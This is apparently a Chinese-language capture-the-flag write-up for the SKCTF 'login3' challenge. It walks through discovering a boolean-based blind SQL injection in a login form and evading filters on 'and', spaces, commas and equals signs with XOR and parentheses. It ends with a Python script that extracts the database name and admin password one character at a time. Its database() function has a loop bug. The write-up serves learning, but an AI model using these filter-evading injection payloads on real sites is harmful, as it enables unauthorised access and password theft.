Day41

login3(SKCTF)

http://123.206.31.85:49167/

flag格式：SKCTF{xxxxxxxxxxxxx}

hint：基於布爾的SQL盲注

本題要點：異或運算、布爾盲注、過濾

打開是一個登錄窗口

用bp抓一下包

發送至repeater

沒什么新發現........

隨便試試其他用戶名，看看回顯信息

我們可以發現

當我們隨便輸入一個用戶名“qwe”時，回顯用戶名不存在，但並沒有對密碼進行檢驗。

當我們輸入用戶名“admin”時，回顯密碼錯誤，則說明是先查找匹配用戶名，如果存在，再驗證密碼。

試試在用戶名admin后加上單引號

結果還是顯示用戶名不存在，但是並沒有報錯信息...........

那么，我們猜測后台的驗證應該是先查找輸入的用戶名是否存在

語句大體是這樣

select password,username from users where username=”我們輸入的用戶名”

如果我們在where語句的結尾加上一個and連接的布爾判斷語句，就可以根據返回值判斷where條件是否成立，這個語句就可以補成：

where username=’admin’ and (substring(database(),1,1)=’a’)

如果返回值是password error，那么就說明where語句是成立的，那么我們補充的那就也是成立的，那么就可以確定數據庫的第一位是a,然后再猜測第二位。

額....顯示非法字符.......

可能是過濾了and....

繼續測試發現....還過濾了空格，逗號，等號，for

空格用括號代替，等號用<>(一種不等號)代替

查閱大佬們的題解.........

發現大佬使用了異或運算^

先說一下異或運算的基本規則：

1^1=0 1^0=1 0^0=0

即只有兩個不同的布爾值運算結果為1

先給出腳本

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"
r=requests.session()
def database():
    result=""
    for i in range(30):
        flag = 0
        for j in str_all:
            payload="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))
            data = {
                "username": payload,
                "password": "123"
            }
            s=r.post(url,data)
            print(payload)
            if "error" in s.text:
                result+=j
                print(result)
            if flag == 0:
                break
def password():
    result=""
    for i in range(40):
        flag=0
        for j in str_all:
            payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
            data = {
                "username": payload,
                "password": "123"
            }
            s=r.post(url,data)
            print(payload)
            if "error" in s.text:
                result+=j
                flag=1
                print('**************************',result)
        if flag==0:
            break
#database()
password()